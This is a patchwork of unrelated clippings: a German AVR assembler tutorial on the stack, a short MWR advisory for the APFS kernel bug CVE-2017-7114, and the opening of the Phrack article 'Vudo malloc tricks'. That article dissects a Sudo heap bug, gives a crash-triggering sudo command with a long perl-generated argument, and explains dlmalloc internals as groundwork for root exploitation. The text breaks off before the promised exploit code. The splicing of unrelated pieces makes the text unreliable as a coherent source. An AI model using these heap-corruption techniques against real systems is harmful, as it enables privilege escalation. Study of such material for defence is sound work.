Als erstes wird mit Project/New ein neues Projekt erstellt, zu dem man dann mit Project/Add File eine Datei mit dem oben gezeigten Programm hinzufügt. Nachdem man unter Project/Project Settings das Object Format for AVR-Studio ausgewählt hat, kann man das Programm mit Strg+F7 assemblieren und den Debug-Modus starten.
Danach sollte man im Menu View die Fenster Processor und Memory öffnen und im Memory-Fenster Data auswählen.
Das Fenster Processor
· Program Counter: Adresse im Programmspeicher (ROM), die gerade abgearbeitet wird
· Stack Pointer: Adresse im Datenspeicher (RAM), auf die der Stackpointer gerade zeigt
· Cycle Counter: Anzahl der Taktzyklen seit Beginn der Simulation
· Time Elapsed: Zeit, die seit dem Beginn der Simulation vergangen ist
Im Fenster Memory wird der Inhalt des RAMs angezeigt.
Sind alle 3 Fenster gut auf einmal sichtbar, kann man anfangen, das Programm mit der Taste F11 langsam Befehl für Befehl zu simulieren.
Wenn der gelbe Pfeil in der Zeile out SPL, temp vorbeikommt, kann man im Prozessor-Fenster sehen, wie der Stackpointer auf 0xDF (ATmega8: 0x45F) gesetzt wird. Wie man im Memory-Fenster sieht, ist das die letzte RAM-Adresse.
Wenn der Pfeil auf dem Befehl rcall sub1 steht, sollte man sich den Program Counter anschauen: Er steht auf 0x02.
Drückt man jetzt nochmal auf F11, springt der Pfeil zum Unterprogramm sub1. Im RAM erscheint an der Stelle, auf die der Stackpointer vorher zeigte, die Zahl 0x03. Das ist die Adresse im ROM, an der das Hauptprogramm nach dem Abarbeiten des Unterprogramms fortgesetzt wird. Doch warum wurde der Stackpointer um 2 verkleinert? Das liegt daran, dass eine Programmspeicheradresse bis zu 2 Byte breit sein kann, und somit auch 2 Byte auf dem Stack benötigt werden, um die Adresse zu speichern.
Das gleiche passiert beim Aufruf von sub2.
Zur Rückkehr aus dem mit rcall aufgerufenen Unterprogramm gibt es den Befehl ret. Dieser Befehl sorgt dafür, dass der Stackpointer wieder um 2 erhöht wird und die dabei eingelesene Adresse in den "Program Counter" kopiert wird, so dass das Programm dort fortgesetzt wird.
Apropos Program Counter: Wer sehen will, wie so ein Programm aussieht, wenn es assembliert ist, sollte mal die Datei mit der Endung ".lst" im Projektverzeichnis öffnen. Die Datei sollte ungefähr so aussehen:

Im blau umrahmten Bereich steht die Adresse des Befehls im Programmspeicher. Das ist auch die Zahl, die im Program Counter angezeigt wird, und die beim Aufruf eines Unterprogramms auf den Stack gelegt wird. Der grüne Bereich rechts daneben ist der OP-Code des Befehls, so wie er in den Programmspeicher des Controllers programmiert wird, und im roten Kasten stehen die "mnemonics": Das sind die Befehle, die man im Assembler eingibt. Der nicht eingerahmte Rest besteht aus Assemblerdirektiven, Labels (Sprungmarkierungen) und Kommentaren, die nicht direkt in OP-Code umgewandelt werden. Der grün eingerahmte Bereich ist das eigentliche Programm, so wie es der μC versteht. Die jeweils erste Zahl im grünen Bereich steht für einen Befehl, den sog. OP-Code (OP = Operation). Die zweite Zahl codiert Argumente für diesen Befehl.
[Bearbeiten] Sichern von Registern
Eine weitere Anwendung des Stacks ist das "Sichern" von Registern. Wenn man z. B. im Hauptprogramm die Register R16, R17 und R18 verwendet, dann ist es i.d.R. erwünscht, dass diese Register durch aufgerufene Unterprogramme nicht beeinflusst werden. Man muss also nun entweder auf die Verwendung dieser Register innerhalb von Unterprogrammen verzichten, oder man sorgt dafür, dass am Ende jedes Unterprogramms der ursprüngliche Zustand der Register wiederhergestellt wird. Wie man sich leicht vorstellen kann ist ein "Stapelspeicher" dafür ideal: Zu Beginn des Unterprogramms legt man die Daten aus den zu sichernden Registern oben auf den Stapel, und am Ende holt man sie wieder (in der umgekehrten Reihenfolge) in die entsprechenden Register zurück. Das Hauptprogramm bekommt also wenn es fortgesetzt wird überhaupt nichts davon mit, dass die Register inzwischen anderweitig verwendet wurden.
Download stack-saveregs.asm
 
.include "4433def.inc"            ; bzw. 2333def.inc
 
.def temp = R16
 
         ldi temp, RAMEND         ; Stackpointer initialisieren
         out SP, temp
 
         ldi temp, 0xFF
         out DDRB, temp           ; Port B = Ausgang
 
         ldi R17, 0b10101010      ; einen Wert ins Register R17 laden
 
         rcall sub1                ; Unterprogramm "sub1" aufrufen
 
         out PORTB, R17           ; Wert von R17 an den Port B ausgeben
 
loop:    rjmp loop                ; Endlosschleife
 
 
sub1:
         push R17                 ; Inhalt von R17 auf dem Stack speichern
 
         ; hier kann nach belieben mit R17 gearbeitet werden,
         ; als Beispiel wird es hier auf 0 gesetzt
 
         ldi R17, 0
 
         pop R17                  ; R17 zurückholen
         ret                      ; wieder zurück zum Hauptprogramm 
Wenn man dieses Programm assembliert und in den Controller lädt, dann wird man feststellen, dass jede zweite LED an Port B leuchtet. Der ursprüngliche Wert von R17 blieb also erhalten, obwohl dazwischen ein Unterprogramm aufgerufen wurde, das R17 geändert hat.
Auch in diesem Fall kann man bei der Simulation des Programms im AVR-Studio die Beeinflussung des Stacks durch die Befehle push und pop genau nachvollziehen.
[Bearbeiten] Sprung zu beliebiger Adresse
Kleinere AVR besitzen keinen Befehl, um direkt zu einer Adresse zu springen, die in einem Registerpaar gespeichert ist. Man kann dies aber mit etwas Stack-Akrobatik erreichen. Dazu einfach zuerst den niederen Teil der Adresse, dann den höheren Teil der Adresse mit push auf den Stack legen und ein ret ausführen:
   ldi ZH, high(testRoutine)
        ldi ZL, low(testRoutine)
        
        push ZL
        push ZH
        ret
 
        ...
testRoutine:
        rjmp testRoutine
Auf diese Art und Weise kann man auch Unterprogrammaufrufe durchführen:
   ldi ZH, high(testRoutine)
        ldi ZL, low(testRoutine)
        rcall indirectZCall
        ...
 
 
indirectZCall:
        push ZL
        push ZH
        ret
 
testRoutine:
        ...
        ret
Größere AVR haben dafür die Befehle ijmp und icall. Bei diesen Befehlen muss das Sprungziel in ZH:ZL stehen.
[Bearbeiten] Weitere Informationen (von Lothar Müller):
· Der Stack - Funktion und Nutzen (pdf)
· Der Stack - Parameterübergabe an Unterprogramme (pdf)
· Der Stack - Unterprogramme mit variabler Parameteranzahl (pdf)
(Der in dieser Abhandlung angegebene Befehl MOV ZLow, SPL muss für einen ATmega8 IN ZL, SPL heißen, da hier SPL und SPH ein I/O-Register sind. Ggf ist auch SPH zu berücksichtigen --> 2byte Stack-Pointer)

﻿https://labs.mwrinfosecurity.com/advisories/containerextendedinfo-invalid-write/ 
APFS methodContainerExtendedInfo Invalid Write
Created:
3/7/2018 8:45:52 AM
Updated:
3/7/2018 8:46:11 AM
Author:
wishi
Tags:
Mac-hacking




Product
Apple iOS 10, macOS 10.12.6
Severity
High
CVE Reference
CVE-2017-7114
Type
Memory Corruption
Description
Apple File System is a new, modern file system for iOS, macOS, tvOS, and watchOS. It is optimized for Flash/SSD storage and features strong encryption, copy-on-write metadata, space sharing, cloning for files and directories, snapshots, fast directory sizing, atomic safe-save primitives, and improved file system fundamentals.
APFS replaces HFS+ as the default file system for iOS 10.3 and later, and macOS High Sierra and later.
A vulnerability was identified with the APFS kernel extension on iOS 10 and macOS 10.12.6 which could lead to arbitrary kernel code execution. 
Impact
Exploitation of this issue could lead to arbitrary kernel code execution. 
Cause
This issue is due to insufficient input validation being performed within the kernel extension. 
Interim Workaround
N/A
Solution
Apply the vendor supplied patch for the issue. 
Technical details
Please refer to the attached advisory. 
Disclosure Timeline
Date
Summary
2017-07-03
Issue reported to vendor
2017-09-19
Vendor issues patch
2018-01-19
MWR Labs releases advisory 


﻿http://phrack.org/issues/57/8.html 
.:: Phrack Magazine ::.
Created:
5/31/2017 6:23:03 PM
Updated:
5/31/2017 6:23:03 PM
Author:

Tags:
Heap




Introduction
Phrack Staff
Phrack Loopback
Phrack Staff
Phrack Line Noise
Phrack Staff
Editorial policy
Phrack Staff
IA64 shellcode
papasutra
Taranis read your e-mail
jwilkins
ICMP based OS fingerprinting
Ofir Arkin & Fyodor Yarochkin
Vudo malloc tricks
MaXX
Once upon a free()
anonymous author
Against the System: Rise of the Robots
Michal Zalewski
Holistic approaches to attack detection
sasha
NIDS on mass parallel processing architecture
storm
Hang on, snoopy
stealth
Architecture spanning shellcode
eugene
Writing ia32 alphanumeric shellcodes
rix
Cupass and the netuserchangepassword problem
D.Holiday
Phrack World News
Phrack Staff
Phrack magazine extraction utility
Phrack Staff
Title : Vudo malloc tricks
Author : MaXX
                             ==Phrack Inc.==

               Volume 0x0b, Issue 0x39, Phile #0x08 of 0x12

--=[ Disclaimer ]=-----------------------------------------------------//

In this issue of Phrack, there are two similar articles about malloc based
exploitation techniques. The first one explains in detail the GNU C Library
implementation of the malloc interface and how it can be abused to exploit
buffer overflows in malloc space. The second article is a more hands-on
approach to introduce you to the idea of malloc overflows. It covers the
System V implementation and the GNU C Library implementation. If you are not
sure about the topic, it may be a better choice to start with it to get an
idea of the subject. However, if you are serious about learning this
technique, there is no way around the article by MaXX.

--=[ Enjoy ]=------------------------------------------------------------//


|=[ Vudo - An object superstitiously believed to embody magical powers ]=-|
|=-----------------------------------------------------------------------=|
|=------------=[ Michel "MaXX" Kaempf <maxx@synnergy.net> ]=-------------=|
|=---------------[ Copyright (C) 2001 Synnergy Networks ]=---------------=|


The present paper could probably have been entitled "Smashing The
Heap For Fun And Profit"... indeed, the memory allocator used by the
GNU C Library (Doug Lea's Malloc) and the associated heap corruption
techniques are presented. However, it was entitled "Vudo - An object
superstitiously believed to embody magical powers" since a recent Sudo
vulnerability and the associated Vudo exploit are presented as well.

--[ Contents ]----------------------------------------------------------

1 - Introduction

2 - The "potential security problem"
  2.1 - A real problem
    2.1.1 - The vulnerable function
    2.1.2 - The segmentation violation
  2.2 - An unreal exploit
  2.3 - Corrupting the heap
  2.4 - Temporary conclusion

3 - Doug Lea's Malloc
  3.1 - A memory allocator
    3.1.1 - Goals
    3.1.2 - Algorithms
      3.1.2.1 - Boundary tags
      3.1.2.2 - Binning
      3.1.2.3 - Locality preservation
      3.1.2.4 - Wilderness preservation
      3.1.2.5 - Memory mapping
  3.2 - Chunks of memory
    3.2.1 - Synopsis of public routines
    3.2.2 - Vital statistics
    3.2.3 - Available chunks
  3.3 - Boundary tags
    3.3.1 - Structure
    3.3.2 - Size of a chunk
    3.3.3 - prev_size field
    3.3.4 - size field
  3.4 - Bins
    3.4.1 - Indexing into bins
    3.4.2 - Linking chunks in bin lists
  3.5 - Main public routines
    3.5.1 - The malloc(3) algorithm
    3.5.2 - The free(3) algorithm
    3.5.3 - The realloc(3) algorithm
  3.6 - Execution of arbitrary code
    3.6.1 - The unlink() technique
      3.6.1.1 - Concept
      3.6.1.2 - Proof of concept
    3.6.2 - The frontlink() technique
      3.6.2.1 - Concept
      3.6.2.2 - Proof of concept

4 - Exploiting the Sudo vulnerability
  4.1 - The theory
  4.2 - The practice

5 - Acknowledgements

6 - Outroduction


--[ 1 - Introduction ]--------------------------------------------------

Sudo (superuser do) allows a system administrator to give certain users
(or groups of users) the ability to run some (or all) commands as root
or another user while logging the commands and arguments.
-- http://www.courtesan.com/sudo/index.html

On February 19, 2001, Sudo version 1.6.3p6 was released: "This fixes
a potential security problem. So far, the bug does not appear to be
exploitable." Despite the comments sent to various security mailing
lists after the announce of the new Sudo version, the bug is not a
buffer overflow and the bug does not damage the stack.

But the bug is exploitable: even a single byte located somewhere in the
heap, erroneously overwritten by a NUL byte before a call to syslog(3)
and immediately restored after the syslog(3) call, may actually lead to
execution of arbitrary code as root. Kick off your shoes, put your feet
up, lean back and just enjoy the... voodoo.

The present paper focuses on Linux/Intel systems and:

- details the aforementioned bug and explains why a precise knowledge of
how malloc works internally is needed in order to exploit it;

- describes the functioning of the memory allocator used by the GNU C
Library (Doug Lea's Malloc), from the attacker's point of view;

- applies this information to the Sudo bug, and presents a working
exploit for Red Hat Linux/Intel 6.2 (Zoot) sudo-1.6.1-1.


--[ 2 - The "potential security problem" ]------------------------------

----[ 2.1 - A real problem ]--------------------------------------------

------[ 2.1.1 - The vulnerable function ]-------------------------------

The vulnerable function, do_syslog(), can be found in the logging.c file
of the Sudo tarball. It is called by two other functions, log_auth() and
log_error(), in order to syslog allow/deny and error messages. If the
message is longer than MAXSYSLOGLEN (960) characters, do_syslog() splits
it into parts, breaking up the line into what will fit on one syslog
line (at most MAXSYSLOGLEN characters) and trying to break on a word
boundary if possible (words are delimited by SPACE characters here).

/*
 * Log a message to syslog, pre-pending the username and splitting the
 * message into parts if it is longer than MAXSYSLOGLEN.
 */
static void do_syslog( int pri, char * msg )
{
    int count;
    char * p;
    char * tmp;
    char save;

    /*
     * Log the full line, breaking into multiple syslog(3) calls if
     * necessary
     */
[1] for ( p=msg, count=0; count < strlen(msg)/MAXSYSLOGLEN + 1; count++ ) {
[2]     if ( strlen(p) > MAXSYSLOGLEN ) {
            /*
             * Break up the line into what will fit on one syslog(3) line
             * Try to break on a word boundary if possible.
             */
[3]         for ( tmp = p + MAXSYSLOGLEN; tmp > p && *tmp != ' '; tmp-- )
                ;
            if ( tmp <= p )
[4]             tmp = p + MAXSYSLOGLEN;

            /* NULL terminate line, but save the char to restore later */
            save = *tmp;
[5]         *tmp = '\0';

            if ( count == 0 )
                SYSLOG( pri, "%8.8s : %s", user_name, p );
            else
                SYSLOG( pri,"%8.8s : (command continued) %s",user_name,p );

            /* restore saved character */
[6]         *tmp = save;

            /* Eliminate leading whitespace */
[7]         for ( p = tmp; *p != ' '; p++ )
                ;
[8]     } else {
            if ( count == 0 )
                SYSLOG( pri, "%8.8s : %s", user_name, p );
            else
                SYSLOG( pri,"%8.8s : (command continued) %s",user_name,p );
        }
    }
}

------[ 2.1.2 - The segmentation violation ]----------------------------

Chris Wilson discovered that long command line arguments cause Sudo to
crash during the do_syslog() operation:

$ /usr/bin/sudo /bin/false `/usr/bin/perl -e 'print "A" x 31337'`
Password:
maxx is not in the sudoers file.  This incident will be reported.
Segmentation fault

Indeed, the loop[7] does not check for NUL characters and therefore
pushes p way after the end of the NUL terminated character string
msg (created by log_auth() or log_error() via easprintf(), a wrapper
to vasprintf(3)). When p reaches the end of the heap (msg is of
course located in the heap since vasprintf(3) relies on malloc(3) and
realloc(3) to allocate dynamic memory) Sudo eventually dies on line[7]
with a segmentation violation after an out of-bounds read operation.

This segmentation fault occurs only when long command line arguments are
passed to Sudo because the loop[7] has to be run many times in order to
reach the end of the heap (there could indeed be many SPACE characters,
which force do_syslog() to leave the loop[7], after the end of the msg
buffer but before the end of the heap). Consequently, the length of the
msg string has to be many times MAXSYSLOGLEN because the loop[1] runs as
long as count does not reach (strlen(msg)/MAXSYSLOGLEN + 1).

----[ 2.2 - An unreal exploit ]-----------------------------------------

Dying after an illegal read operation is one thing, being able to
perform an illegal write operation in order to gain root privileges
is another. Unfortunately do_syslog() alters the heap at two places
only: line[5] and line[6]. If do_syslog() erroneously overwrites a
character at line[5], it has to be exploited during one of the syslog(3)
calls between line[5] and line[6], because the erroneously overwritten
character is immediately restored at line[6].

Since msg was allocated in the heap via malloc(3) and realloc(3),
there is an interesting structure stored just after the end of the msg
buffer, maintained internally by malloc: a so-called boundary tag.
If syslog(3) uses one of the malloc functions (calloc(3), malloc(3),
free(3) or realloc(3)) and if the Sudo exploit corrupts that boundary
tag during the execution of do_syslog(), evil things could happen. But
does syslog(3) actually call malloc functions?

$ /usr/bin/sudo /bin/false `/usr/bin/perl -e 'print "A" x 1337'`
[...]
malloc( 100 ): 0x08068120;
malloc( 300 ): 0x08060de0;
free( 0x08068120 );
malloc( 700 ): 0x08060f10;
free( 0x08060de0 );
malloc( 1500 ): 0x080623b0;
free( 0x08060f10 );
realloc( 0x080623b0, 1420 ): 0x080623b0;
[...]
malloc( 192 ): 0x08062940;
malloc( 8192 ): 0x080681c8;
realloc( 0x080681c8, 119 ): 0x080681c8;
free( 0x08062940 );
free( 0x080681c8 );
[...]

The first series of malloc calls was performed by log_auth() in order
to allocate memory for the msg buffer, but the second series of malloc
calls was performed... by syslog(3). Maybe the Sudo exploit is not that
unreal after all.

----[ 2.3 - Corrupting the heap ]---------------------------------------

However, is it really possible to alter a given byte of the boundary
tag located after the msg buffer (or more generally to overwrite at
line[5] an arbitrary character (after the end of msg) with a NUL byte)?
If the Sudo exploit exclusively relies on the content of the msg buffer
(which is fortunately composed of various user-supplied strings (current
working directory, sudo command, and so on)), the answer is no. This
assertion is demonstrated below.

The character overwritten at line[5] by a NUL byte is pointed to by tmp:

- tmp comes from loop[3] if there is a SPACE character among the first
MAXSYSLOGLEN bytes after p. tmp then points to the first SPACE character
encountered when looping from (p + MAXSYSLOGLEN) down to p.

-- If the overwritten SPACE character is located within the msg buffer,
there is no heap corruption at all because the write operation is not an
illegal one.

-- If this first encountered SPACE character is located outside the msg
buffer, the Sudo exploit cannot control its exact position if it solely
relies on the content of the msg buffer, and thus cannot control where
the NUL byte is written.

- tmp comes from line[4] if there is no SPACE character among the first
MAXSYSLOGLEN bytes after p. tmp is then equal to (p + MAXSYSLOGLEN).

-- If p and tmp are both located within the msg buffer, there is no
possible memory corruption, because overwriting the tmp character
located within a buffer returned by malloc is a perfectly legal action.

-- If p is located within the msg buffer and tmp is located outside
the msg buffer... this is impossible because the NUL terminator at the
end of the msg buffer, placed between p and tmp, prevents do_syslog()
from successfully passing the test[2] (and the code at line[8] is not
interesting because it performs no write operation).

Moreover, if the test[2] fails once it will always fail, because
p will never be modifed again and strlen(p) will therefore stay
less than or equal to MAXSYSLOGLEN, forcing do_syslog() to run the
code at line[8] again and again, as long as count does not reach
(strlen(msg)/MAXSYSLOGLEN + 1).

-- If p and tmp are both located outside the msg buffer, p points to
the first SPACE character encountered after the end of the msg string
because it was pushed outside the msg buffer by the loop[7]. If the Sudo
exploit exclusively relies on the content of the msg buffer, it cannot
control p because it cannot control the occurrence of SPACE characters
after the end of the msg string. Consequently, it cannot control tmp,
which points to the place where the NUL byte is written, because tmp
depends on p.

Moreover, after p was pushed outside the msg buffer by the loop[7],
there should be no NUL character between p and (p + MAXSYSLOGLEN) in
order to successfully pass the test[2]. The Sudo exploit should once
again rely on the content of the memory after msg.

----[ 2.4 - Temporary conclusion ]--------------------------------------

The Sudo exploit should:

- overwrite a byte of the boundary tag located after the msg buffer with
the NUL byte... it should therefore control the content of the memory
after msg (managed by malloc) because, as proven in 2.3, the control of
the msg buffer itself is not sufficient;

- take advantage of the erroneously overwritten byte before it is
restored... one of the malloc calls performed by syslog(3) should
therefore read the corrupted boundary tag and further alter the usual
execution of Sudo.

But in order to be able to perform these tasks, an in depth knowledge of
how malloc works internally is needed.


--[ 3 - Doug Lea's Malloc ]---------------------------------------------

Doug Lea's Malloc (or dlmalloc for short) is the memory allocator used
by the GNU C Library (available in the malloc directory of the library
source tree). It manages the heap and therefore provides the calloc(3),
malloc(3), free(3) and realloc(3) functions which allocate and free
dynamic memory.

The description below focuses on the aspects of dlmalloc needed to
successfully corrupt the heap and subsequently exploit one of the malloc
calls in order to execute arbitrary code. A more complete description
is available in the GNU C Library source tree and at the following
addresses:

ftp://gee.cs.oswego.edu/pub/misc/malloc.c
http://gee.cs.oswego.edu/dl/html/malloc.html

----[ 3.1 - A memory allocator ]----------------------------------------

"This is not the fastest, most space-conserving, most portable, or most
tunable malloc ever written. However it is among the fastest while also
being among the most space-conserving, portable and tunable. Consistent
balance across these factors results in a good general-purpose allocator
for malloc-intensive programs."

------[ 3.1.1 - Goals ]-------------------------------------------------

The main design goals for this allocator are maximizing compatibility,
maximizing portability, minimizing space, minimizing time, maximizing
tunability, maximizing locality, maximizing error detection, minimizing
anomalies. Some of these design goals are critical when it comes to
damaging the heap and exploiting malloc calls afterwards:

- Maximizing portability: "conformance to all known system constraints
on alignment and addressing rules." As detailed in 3.2.2 and 3.3.2, 8
byte alignment is currently hardwired into the design of dlmalloc. This
is one of the main characteristics to permanently keep in mind.

- Minimizing space: "The allocator [...] should maintain memory in ways
that minimize fragmentation -- holes in contiguous chunks of memory that
are not used by the program." But holes are sometimes needed in order to
successfully attack programs which corrupt the heap (Sudo for example).

- Maximizing tunability: "Optional features and behavior should be
controllable by users". Environment variables like MALLOC_TOP_PAD_ alter
the functioning of dlmalloc and could therefore aid in exploiting malloc
calls. Unfortunately they are not loaded when a SUID or SGID program is
run.

- Maximizing locality: "Allocating chunks of memory that are typically
used together near each other." The Sudo exploit for example heavily
relies on this feature to reliably create holes in the memory managed by
dlmalloc.

- Maximizing error detection: "allocators should provide some means
for detecting corruption due to overwriting memory, multiple frees,
and so on." Luckily for the attacker who smashes the heap in order to
execute arbitrary code, the GNU C Library does not activate these error
detection mechanisms (the MALLOC_DEBUG compile-time option and the
malloc debugging hooks (__malloc_hook, __free_hook, etc)) by default.

------[ 3.1.2 - Algorithms ]--------------------------------------------

"While coalescing via boundary tags and best-fit via binning represent
the main ideas of the algorithm, further considerations lead to a
number of heuristic improvements. They include locality preservation,
wilderness preservation, memory mapping".

--------[ 3.1.2.1 - Boundary tags ]-------------------------------------

The chunks of memory managed by Doug Lea's Malloc "carry around with
them size information fields both before and after the chunk. This
allows for two important capabilities:

- Two bordering unused chunks can be coalesced into one larger chunk.
This minimizes the number of unusable small chunks.

- All chunks can be traversed starting from any known chunk in either a
forward or backward direction."

The presence of such a boundary tag (the structure holding the said
information fields, detailed in 3.3) between each chunk of memory comes
as a godsend to the attacker who tries to exploit heap mismanagement.
Indeed, boundary tags are control structures located in the very middle
of a potentially corruptible memory area (the heap), and if the attacker
manages to trick dlmalloc into processing a carefully crafted fake
(or altered) boundary tag, they should be able to eventually execute
arbitrary code.

For example, the attacker could overflow a buffer dynamically allocated
by malloc(3) and overwrite the next contiguous boundary tag (Netscape
browsers exploit), or underflow such a buffer and overwrite the boundary
tag stored just before (Secure Locate exploit), or cause the vulnerable
program to perform an incorrect free(3) call (LBNL traceroute exploit)
or multiple frees, or overwrite a single byte of a boundary tag with a
NUL byte (Sudo exploit), and so on:

http://www.openwall.com/advisories/OW-002-netscape-jpeg.txt

ftp://maxx.via.ecp.fr/dislocate/

http://www.synnergy.net/downloads/exploits/traceroute-exp.txt
ftp://maxx.via.ecp.fr/traceroot/

--------[ 3.1.2.2 - Binning ]-------------------------------------------

"Available chunks are maintained in bins, grouped by size." Depending on
its size, a free chunk is stored by dlmalloc in the bin corresponding to
the correct size range (bins are detailed in 3.4):

- if the size of the chunk is 200 bytes for example, it is stored in the
bin that holds the free chunks whose size is exactly 200 bytes;

- if the size of the chunk is 1504 bytes, it is stored in the bin that
holds the free chunks whose size is greater than or equal to 1472 bytes
but less than 1536;

- if the size of the chunk is 16392 bytes, it is stored in the bin that
holds the free chunks whose size is greater than or equal to 16384 bytes
but less than 20480;

- and so on (how these ranges are computed and how the correct bin is
chosen is detailed in 3.4.1).

"Searches for available chunks are processed in smallest-first,
best-fit order. [...] Until the versions released in 1995, chunks were
left unsorted within bins, so that the best-fit strategy was only
approximate. More recent versions instead sort chunks by size within
bins, with ties broken by an oldest-first rule."

These algorithms are implemented via the chunk_alloc() function (called
by malloc(3) for example) and the frontlink() macro, detailed in 3.5.1
and 3.4.2.

--------[ 3.1.2.3 - Locality preservation ]-----------------------------

"In the current version of malloc, a version of next-fit is used only
in a restricted context that maintains locality in those cases where it
conflicts the least with other goals: If a chunk of the exact desired
size is not available, the most recently split-off space is used (and
resplit) if it is big enough; otherwise best-fit is used."

This characteristic, implemented within the chunk_alloc() function,
proved to be essential to the Sudo exploit. Thanks to this feature,
the exploit could channel a whole series of malloc(3) calls within a
particular free memory area, and could therefore protect another free
memory area that had to remain untouched (and would otherwise have been
allocated during the best-fit step of the malloc algorithm).

--------[ 3.1.2.4 - Wilderness preservation ]---------------------------

"The wilderness (so named by Kiem-Phong Vo) chunk represents the space
bordering the topmost address allocated from the system. Because it is
at the border, it is the only chunk that can be arbitrarily extended
(via sbrk in Unix) to be bigger than it is (unless of course sbrk fails
because all memory has been exhausted).

One way to deal with the wilderness chunk is to handle it about the same
way as any other chunk. [...] A better strategy is currently used: treat
the wilderness chunk as bigger than all others, since it can be made so
(up to system limitations) and use it as such in a best-first scan. This
results in the wilderness chunk always being used only if no other chunk
exists, further avoiding preventable fragmentation."

The wilderness chunk is one of the most dangerous opponents of the
attacker who tries to exploit heap mismanagement. Because this chunk
of memory is handled specially by the dlmalloc internal routines (as
detailed in 3.5), the attacker will rarely be able to execute arbitrary
code if they solely corrupt the boundary tag associated with the
wilderness chunk.

--------[ 3.1.2.5 - Memory mapping ]------------------------------------

"In addition to extending general-purpose allocation regions via sbrk,
most versions of Unix support system calls such as mmap that allocate
a separate non-contiguous region of memory for use by a program. This
provides a second option within malloc for satisfying a memory request.
[...] the current version of malloc relies on mmap only if (1) the
request is greater than a (dynamically adjustable) threshold size
(currently by default 1MB) and (2) the space requested is not already
available in the existing arena so would have to be obtained via sbrk."

For these two reasons, and because the environment variables that alter
the behavior of the memory mapping mechanism (MALLOC_MMAP_THRESHOLD_
and MALLOC_MMAP_MAX_) are not loaded when a SUID or SGID program is
run, a perfect knowledge of how the memory mapping feature works is
not mandatory when abusing malloc calls. However, it will be discussed
briefly in 3.3.4 and 3.5.

----[ 3.2 - Chunks of memory ]------------------------------------------

The heap is divided by Doug Lea's Malloc into contiguous chunks of
memory. The heap layout evolves when malloc functions are called (chunks
may get allocated, freed, split, coalesced) but all procedures maintain
the invariant that no free chunk physically borders another one (two
bordering unused chunks are always coalesced into one larger chunk).

------[ 3.2.1 - Synopsis of public routines ]---------------------------

The chunks of memory managed by dlmalloc are allocated and freed via
four main public routines:

- "malloc(size_t n); Return a pointer to a newly allocated chunk of at
least n bytes, or null if no space is available."

The malloc(3) routine relies on the internal chunk_alloc() function
mentioned in 3.1.2 and detailed in 3.5.1.

- "free(Void_t* p); Release the chunk of memory pointed to by p, or no
effect if p is null."

The free(3) routine depends on the internal function chunk_free()
presented in 3.5.2.

- "realloc(Void_t* p, size_t n); Return a pointer to a chunk of size n
that contains the same data as does chunk p up to the minimum of (n, p's
size) bytes, or null if no space is available. The returned pointer may
or may not be the same as p. If p is null, equivalent to malloc. Unless
the #define REALLOC_ZERO_BYTES_FREES below is set, realloc with a size
argument of zero (re)allocates a minimum-sized chunk."

realloc(3) calls the internal function chunk_realloc() (detailed in
3.5.3) that once again relies on chunk_alloc() and chunk_free(). As a
side note, the GNU C Library defines REALLOC_ZERO_BYTES_FREES, so that
realloc with a size argument of zero frees the allocated chunk p.

- "calloc(size_t unit, size_t quantity); Returns a pointer to quantity *
unit bytes, with all locations set to zero."

calloc(3) behaves like malloc(3) (it calls chunk_alloc() in the very
same manner) except that calloc(3) zeroes out the allocated chunk before
it is returned to the user. calloc(3) is therefore not discussed in the
present paper.

------[ 3.2.2 - Vital statistics ]--------------------------------------

When a user calls dlmalloc in order to allocate dynamic memory, the
effective size of the chunk allocated (the number of bytes actually
isolated in the heap) is never equal to the size requested by the user.
This overhead is the result of the presence of boundary tags before and
after the buffer returned to the user, and the result of the 8 byte
alignment mentioned in 3.1.1.

- Alignment:

Since the size of a chunk is always a multiple of 8 bytes (how the
effective size of a chunk is computed is detailed in 3.3.2) and since
the very first chunk in the heap is 8 byte aligned, the chunks of memory
returned to the user (and the associated boundary tags) are always
aligned on addresses that are multiples of 8 bytes.

- Minimum overhead per allocated chunk:

Each allocated chunk has a hidden overhead of (at least) 4 bytes.
The integer composed of these 4 bytes, a field of the boundary tag
associated with each chunk, holds size and status information, and is
detailed in 3.3.4.

- Minimum allocated size:

When malloc(3) is called with a size argument of zero, Doug Lea's Malloc
actually allocates 16 bytes in the heap (the minimum allocated size, the
size of a boundary tag).

------[ 3.2.3 - Available chunks ]--------------------------------------

Available chunks are kept in any of several places (all declared below):

- the bins (mentioned in 3.1.2.2 and detailed in 3.4) exclusively hold
free chunks of memory;

- the top-most available chunk (the wilderness chunk presented in
3.1.2.4) is always free and never included in any bin;

- the remainder of the most recently split (non-top) chunk is always
free and never included in any bin.

----[ 3.3 - Boundary tags ]---------------------------------------------

------[ 3.3.1 - Structure ]---------------------------------------------

#define INTERNAL_SIZE_T size_t

struct malloc_chunk {
    INTERNAL_SIZE_T prev_size;
    INTERNAL_SIZE_T size;
    struct malloc_chunk * fd;
    struct malloc_chunk * bk;
};

This structure, stored in front of each chunk of memory managed by Doug
Lea's Malloc, is a representation of the boundary tags presented in
3.1.2.1. The way its fields are used depends on whether the associated
chunk is free or not, and whether the previous chunk is free or not.

- An allocated chunk looks like this:

    chunk -> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
             | prev_size: size of the previous chunk, in bytes (used   |
             | by dlmalloc only if this previous chunk is free)        |
             +---------------------------------------------------------+
             | size: size of the chunk (the number of bytes between    |
             | "chunk" and "nextchunk") and 2 bits status information  |
      mem -> +---------------------------------------------------------+
             | fd: not used by dlmalloc because "chunk" is allocated   |
             | (user data therefore starts here)                       |
             + - - - - - - - - - - - - - - - - - - - - - - - - - - - - +
             | bk: not used by dlmalloc because "chunk" is allocated   |
             | (there may be user data here)                           |
             + - - - - - - - - - - - - - - - - - - - - - - - - - - - - +
             |                                                         .
             .                                                         .
             . user data (may be 0 bytes long)                         .
             .                                                         .
             .                                                         |
nextchunk -> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
             | prev_size: not used by dlmalloc because "chunk" is      |
             | allocated (may hold user data, to decrease wastage)     |
             +---------------------------------------------------------+

"chunk" is the front of the chunk (and therefore the front of the
associated boundary tag) for the purpose of most of the dlmalloc code,
"nextchunk" is the beginning of the next contiguous chunk, and "mem" is
the pointer that is returned to the user (by malloc(3) or realloc(3) for
example).

The conversion from malloc headers ("chunk") to user pointers ("mem"),
and back, is performed by two macros, chunk2mem() and mem2chunk(). They
simply add or subtract 8 bytes (the size of the prev_size and size
fields that separate "mem" from "chunk"):

#define Void_t void
#define SIZE_SZ sizeof(INTERNAL_SIZE_T)
typedef struct malloc_chunk * mchunkptr;

